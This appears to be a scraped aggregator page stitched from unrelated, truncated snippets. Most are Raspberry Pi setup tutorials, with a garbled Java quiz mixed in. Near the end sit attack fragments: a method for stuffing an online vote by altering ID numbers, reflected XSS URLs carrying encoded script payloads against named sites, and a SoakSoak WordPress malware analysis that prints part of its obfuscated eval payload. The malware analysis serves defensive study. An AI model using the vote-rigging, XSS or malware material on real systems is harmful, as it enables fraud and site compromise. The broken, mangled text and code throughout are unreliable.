First components to be prepared:1. Raspberry Pi 3 Model B2, SD card one sheet3. Network cable and router4. ComputerRaspberry Pi PackagingRaspberry Pi FrontComponentsOne, SD card system writeFirst of all, download the Raspberry Pi system from the official website!Address: https://www.raspberrypi.org/downloads/Select Raspbian Downloadalso download Win32diskimagerWrite Raspbian system to SD cardSecond, installation1. First connect the Raspberry Pi to the routerEnter the router to find the IP addres
backup to prevent a hard disk from being damaged.Prepare Hard Disk
The initial step is to format the hard disk on the desktop. This is for convenience. If something goes wrong, we can remove the hard disk from the NAS and read the data on a PC.
It can be formatted on Raspberry Pi, but it will take several hours to format it much faster from the desktop. Do it now.
Set SSH to enable the root user. First, set the password for the root user:Sudo-IPasswd root(Enter your password)
Run the
Raspberry Pi advanced GPIO library, wiringpi2 for python Use note (3) GPIO operations, gpiowiringpi2
The core function of the GPIO library is to operate GPIO. GPIO is the "general input/output" interface, such as lighting up an LED or relay, or using iic spi 1-wire and other protocols, reading and writing data are all useful for GPIO. It can be said that without GPIO, Raspberry Pi can only be used as a small computer. With GPIO, it will be upgraded to a controller. Let's talk about how to operat
Use Raspberry Pi to build your own web server (I) install LAMP and raspberry lamp1. Adjust pi GPU memoryOccupiedSize
As a web server, you do not need to output video signals. Therefore, reduce GPU memory usage to maximize pi performance.
1 sudo raspi-config
Select Advanced Options-> Memory Split, enter 16, and restart after saving.
2. Update your pi
1 sudo apt-get update2 sudo apt-get upgrade
Restart the instance after the update is complete
introduce how to use shared storage to create other redundant services. Note that although Raspberry Pi is used in this article, the following configuration operations are also applicable to other hardware.Configure Raspberry Pi
Download the latest Linux release from the Raspberry Pi official website and install it on two SD cards. Connect Raspberry Pi to the TV, select the kernel image and start the system as instructed in the document, and check whether the SSH service is started (SSH should
First, basic settings
1
sudo raspi-config
Move to the fifth "Enable Camera", enter, press the TAB key to switch to "enable" to confirm the return. Back to the main menu, tab to "Finish" to confirm the return. The Raspberry Pi will restart automatically.or execute a command to manually shut down the machine
1
sudo shutdown-h now
Warning!!!!!!!!!!!!!!!!!!!!!!!!!Absolutely can not be plugged
-zenheiWill install Wenquanyi Zen Hei open-source Chinese font, here to Wenquanyi Zen Hei salute, it seems that it is the only open source Chinese font library. Guo Jia had the money to build a Confucius Institute, but never had the money to do a more complete open source Chinese font.Chinese can be displayed, input it? Linux has long been, called SCIM (Smart Common input Method), so just enter:sudo apt-get install Scim-pinyinwill be installed pinyin input method, after the installation is compl
In order to install it on your pi follow the steps:1. Install Subversion:sudo apt-get updatesudo apt-get install subversion2. Go to the folder where you want to has the Mjpg-stremer, for EXAMPLE/HOME/PICd/home/pi3. Get Mjpg-streamer:sudo svn co https://svn.code.sf.net/p/mjpg-streamer/code/mjpg-streamer mjpg-streamer 4. Install Libjpeg8-devsudo apt-get install Libjpeg8-dev5. Install ImageMagicksudo apt-get install ImageMagick6. Make the project:CD Mjpg-streamer/mjpg-streamerMake7. when the it fin
Raspberry Pie Initialization setting and installing VNCSSH up after the first thing is to update Debian:sudo apt-get update, after the upgrade is completed restart;
In the SSH terminal input sudo raspi-config, here need to open a few options: expand_rootfs– to extend the root partition to the entire SD card; change_pass– The default user name is pi, the password is raspberry; change_timezone– Change Time zone, select Asia–shanghai; Configure_keyboard,
Raspberry Pi power supply to the Aruduino, through the PL2303 chip USB to TTL serial communication. The temperature of the greenhouse is detected and heated if it is below 19 degrees. The switch heating of the ceramic heating lamp is turned on by the serial control Arduino,arduino control relay.
The code for Arduino is as follows:
void Setup () {
Pinmode (3, OUTPUT);
Serial.begin (115200);
}
Char v;
void Loop () {
//read from serial,
//When got nothing, delay 1s and retry, write S to se
Configuration Interface
sudo raspi-config
Or you can enter the following code directly into the language configuration interface
sudo dpkg-reconfigure locales
As shown in the figure: select Change_locale
In the Default locale for the system environment, use the spacebar of the keyboard to select the following five items:En-gb.utf-8 UTF-8 ZH_CN. GB2312 en. CN. GB18030 GB18030 ZH_CN. GBK GBK ZH_CN. UTF-8 UTF-8Press the TAB key on the keyboard to sel
Raspberry PI 3 to create a music player
1. Software Environment
sudo apt-get update
sudo apt-get upgrade
sudo apt-get install mplayer2//music playback software
sudo apt-get install Alsamixergui//volume control
2. Prepare the song
Find a song. MP3 Songs
Here is a: wget Http://blog.lxx1.com/wp-content/uploads/2016/07/shero.mp3
3, set the Raspberry Pi 3 audio output mode
sudo raspi-config
Advanced options--Audio-force 3.5mm (' headphone ') jack
If the
First, use SD card formatter format memory card. (Note that not all memory cards are supported, recommended within SanDisk 32G)
Second, write the image using Win32diskimager. (This time using the 2017-11-29 release of Raspbian STRETCH with DESKTOP, download address https://www.raspberrypi.org/downloads/raspbian/)
After successful writing, configure Config.txt (if you do not configure Config, the monitor may not output images, but the Raspberry Pi is actually running successfully.) )
Disable_over
In Raspberry Pi 3, direct startup does not enter the graphical interface by default. When you enter using SSH dialing (software such as putty), you can enter it at the command line
sudo raspi-config //Enter settings, here are a lot of settings
In the boot option, the Raspberry Pi is the third one, select B4 desktop autologin desktop GUI, automatically logged in as ' pi ' user. You can start the graphical interface on the boot.
Select it.
At t
(a){Case 1:A+=1;BreakCase 2:a+=2;Case 3:a+=3;BreakCase 4:a+=4;BreakDefaulta=0;}System.out.println (a);A. 5B. 6C. 7D. 89. The following program operation results are () Dint a=3, b=1;if (a==b)System.out.println ("a=" +a);A. a=1B. a=3C. Compilation errorsD. Normal operation but no output10. After running the following program, the value of the a,b,c is correct: bint a=1,b=2;int c= (A+B>3?A++:++B);A. a=2,b=3B. a=1,b=3C. a=1,b=2D. c=211. Running result o
voting tests. this voting system only verifies the ID card number .. assume that the ID card number is 1234567890. the name is test. contact number: 13013011111. You only need to change the ID card number to another number. for example, you can cast another vote for 1234567891 .. IP address and cookies are not verified. the purpose of ticket swiping can be fully achieved ..Figure 2 shows the successful voting packets.Aname = % B7 % E7 % 26% 3B % BB %
Many people in the ss do not pay attention to it. They always think it is a chicken fault. How many people actually know xss?
Xss is divided into storage and reflectiveThe so-called reflected type often appears in the url search boxHttp://www.kuaikuai.cn/search? Q = % 3 Cscript % 3E % 20 alert % 28% 27% E5 % BA % 97% E5 % B0 % 8F % E4 % B8 % 89% 27% 29% 3B % 3C % 2 Fscript % 3E
Http://www.bkjia.com/third. cgi? W = % 3 Cscript % 3E + alert % 28% 2f7083
also automatically download malicious programs. Google has blacklisted 11,000 websites that may be infected with viruses.
Malware Analysis
Malware SoakSoak modifies wp-prodes/template-loader.php files
In this wayWp-nodes des/js/swobject. jsThe file is loaded on every page.Swobject. jsThe file contains the encrypted malicious js Code.
eval(decodeURIComponent ("%28%0D%0A%66%75%6E%63%74%69%6F%6E%28%29%0D%0A%7B%0D%..72%69%70%74%2E%69%64%3D%27%78%78%79%79%7A%7A%5F%70%65%74%75%73%68%6F%6B%27%
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.